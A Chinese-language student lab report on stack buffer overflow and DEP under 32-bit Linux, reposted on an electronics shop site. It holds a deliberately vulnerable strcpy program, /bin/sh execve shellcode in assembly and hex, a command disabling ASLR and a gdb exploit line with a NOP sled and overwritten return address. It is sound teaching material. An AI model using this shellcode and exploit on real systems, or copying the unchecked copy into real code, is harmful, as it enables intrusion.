锐单电子商城 , 一站式电子元器件采购平台!
  • 电话:400-990-0325

操作系统安全实验

时间:2022-08-31 20:00:00 连接器xcd45t4k1p40

缓冲区溢出和数据执行保护DEP实验

实验环境

虚拟机:VirtualBox 6.1.30
操作系统:Ubuntu21.04
主机OS:Microsoft Windows10

实验要求

  1. 在关闭数据执行保护机制下,Linux缓冲区溢出攻击在系统平台上实现
  2. 开启数据执行保护机制,运行一样的溢出攻击代码,比较实验现象

缓冲区溢出概述

  1. 定义
    • 缓冲区是指在程序内使用或存储用户输入的内存区域,溢出是指计算机超过缓冲区本身的容量,从而破坏程序堆栈,导致程序崩溃或使程序执行其他指令,以达到攻击的目的。
    • 由于堆栈从高内存地址增长到低内存地址,数组的变量从低内存地址增长到高地址。如果不检查和限制数据的越界,将超过其长度的内容写入程序的数组缓冲区,覆盖堆栈的原始返回地址,会导致缓冲区溢出,从而破坏程序的堆栈。如果构建的注入向量覆盖返回地址,使程序转向执行恶意代码,以达到攻击的目的。
  2. 作用
    • 程序崩溃,拒绝服务攻击
    • 在程序的地址空间中安排适当的代码。
  3. 原因
    • 程序没有仔细检查用户输入

保护数据DEP

  1. 原因
    在冯·不区分代码和数据的诺依曼系统

  2. 基本原理
    将数据所在的内存页面识别为不可执行,以防止数据页面执行代码。当程序溢出并试图在数据页面上执行指令时CPU与其执行恶意指令,不如抛出异常。

    image-20220407102843249

  3. 缺点

    • 硬件DEP需要CPU但不是所有的支持CPU提供硬件DEP的支持
    • 由于兼容性Windows不能对所有进程开启DEP保护,否则可能会出现异常。例如,一些第三方插件DLL,无法确认它是否支持,因为它无法确认DEP,对涉及这些DLL不敢贸然打开程序DEP保护
    • 当DEP在最重要的两种状态下工作optin和optout下时,DEP它可以动态关闭和打开,这表明操作系统提供了一些API函数来控制DEP的状态,而API调用没有限制

栈溢出

  1. 函数调用栈
    • 用于保存函数运行时的状态信息,包括函数参数和局部变量
    • 从高地址到低地址在内存中生长,因此栈顶对应的内存地址在压栈时变小,退栈时变大
    • 函数状态主要涉及三个寄存器
      • ebp 存储当前执行函数的基地址,在函数运行时保持不变,通常用于索引函数参数或局部变量的位置。
      • esp 存储函数调用栈顶地址,在压栈和退栈时发生变化。
      • eip 存储即将执行的程序指令的地址,cpu 依照 eip 读取指令并执行存储内容,然后执行eip 自动指向下一个指令

实验内容

  1. 编写溢出程序

    // filename:bof.c #include  #include  int main(int argc, char **argv){ 
                char buf[128];// buf是函数的局部变量,放在栈上  if(argc < 2) return 1;  strcpy (buf ,argv[1]);// 将调用程序后面的输入赋值buf中间,可能溢出  printf("argv[1]:%s\n", buf);  return 0; } 
    • 溢出原因:strcpy函数赋值不检查目标字符数组的空间溢出

    • 使用如下指令编译程序
      gcc -z execstack -fno-stack-protector bof.c -o bof -m32

      • -z execstack:关闭栈的保护执行,即栈内的数据页可以作为指令执行

      • -fno-stack-protector:

        禁用栈保护canary,如果启用栈保护,函数开始执行时会先插入栈cookie当函数真正返回时,将验证信息cookie信息是否合法,如果不合法,程序将停止运行。当攻击者覆盖返回地址时,通常会cookie信息给覆盖,导致栈保护检查失败而阻止shellcode的执行。在Linux中这个cookie信息称为canary。

  2. 编写shellcode

    • 定义:通常用于为攻击者启动一个能控制受害者机器的shell的一小段代码

    • Syscall的系统调用函数
      int execve(const char *filename, char *const argv[], char * envp[]);

      • 设置execve的系统调用号:%eax = 0xb
      • 第一个参数filename:%ebx指向系统调用文件字符串的首地址,字符串末尾为’/0’
      • argv:要传递给程序的完整参数列表,一般是执行程序的名字,使用%ecx指向
      • envp:指向执行execed程序的专门环境指针,使用%edx指向
    • 编写shellcode

      // filename:shellcode.c
      #include 
      void shellcode(){ 
                  
      	__asm__(
      	"xor %eax,%eax\n\t"		// 将eax寄存器异或处理值为0
      	"pushl %eax\n\t"		// 将0压入栈,push相当于pushl
      	"push $0x68732f2f\n\t"	// 将“//sh”压入栈,//是为了凑4个字节对齐
      	"push $0x6e69622f\n\t"	// 将“/bin”压入栈
      	"movl %esp,%ebx\n\t"	// 将栈底指针ebx赋值为当前栈顶指针esp
      	"pushl %eax\n\t"		// 将0压入栈中
      	"pushl %ebx\n\t"		// 将字符串“//sh/bin/0”的首地址压入栈中
      	"movl %esp,%ecx\n\t"	// 让ecx指向ebx
      	"cltd\n\t"				// 让eax拓展到edx:eax,即edx设置为0
      	"movb $0xb,%al\n\t"		// 将execve的功能号赋值给eax的低八位
      	"int $0x80\n\t"			// 使用软中断进行系统调用
      	);
      }
      int main(int argc, char **argv){ 
                  
      	shellcode();
      	return 0;
      }
      
    • 编译shellcode
      gcc -m32 -o shellcode shellcode.c

    • 反汇编shellcode
      objdump –d shellcode | less

    • 实现16进制的shellcode

      //filename: shellcode_asm.c
      #include
      #include
      int main(){ 
                  
      	char shellcode[]=
      		"\x31\xc0\x50\x68\x2f\x2f"
      		"\x73\x68\x68\x2f\x62\x69"
      		"\x6e\x89\xe3\x50\x53\x89"
      		"\xe1\x99\xb0\x0b\xcd\x80";
      	void (*fp)(void);
      	fp = (void*)shellcode;
      	fp();
      	return 0;
      }
      

      gcc -z execstack -m32 -o shellcode shellcode_asm.c

  3. 关闭地址随机化ASLR保护机制
    sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

  4. 测试数组长度

    gcc -z execstack -fno-stack-protector bof.c -o bof -m32
    gdb -q --args ./bof $(python -c 'print "A" * 120 + "BBBB"+"CCCC"')   
    

    • 字符C的16进制为43,所以C覆盖了返回地址,导致程序中断,此时使用$x/200wx $esp - 200,找到字符A的连续值为41的起始地址shellAddress,再将shellAdderss覆盖到返回地址即可
  5. 成功

    gcc -z execstack -fno-stack-protector bof.c -o bof -m32
    gdb -q --args ./bof $(python -c 'print "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x98\xd3\xff\xff"')          
    
    • '\x90’表示NOP,即cpu向下滑动的控指令,因为编译过程可能增加变量导致地址改变,因此增加NOP,只要命中NOP中的一个即可向下滑动到shellcode执行
    ![image-20220413105137339](https://img-blog.csdnimg.cn/img_convert/9ddc4eb5ad9f9f7aed547e06d25a77d8.png)

参考资料

  1. 缓冲区溢出实验https://blog.csdn.net/qq_38217427/article/details/105647504
  2. 缓冲区溢出攻击的分析及防范策略
    http://www.doczj.com/doc/acdc2c586d1aff00bed5b9f3f90f76c660374c00-3.html
  3. 栈溢出从入门到放弃https://zhuanlan.zhihu.com/p/25816426
  4. Windows 缓冲区溢出与数据执行保护DEP
    http://blog.csdn.net/morewindows/article/details/6887136
  5. 缓冲区溢出(栈溢出)https://www.cnblogs.com/tcctw/p/11487645.html
  6. 栈溢出综合知识https://space.bilibili.com/521870525/channel/seriesdetail?sid=665628
  7. Canary保护机制(栈保护)的开启与关闭
    https://blog.csdn.net/ConlinderFeng/article/details/108436147
  8. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
    ail?sid=665628
  9. Canary保护机制(栈保护)的开启与关闭
    https://blog.csdn.net/ConlinderFeng/article/details/108436147
  10. Linux下程序的保护机制(checksec)https://blog.csdn.net/Y_peak/article/details/113572153
锐单商城拥有海量元器件数据手册IC替代型号,打造电子元器件IC百科大全!

相关文章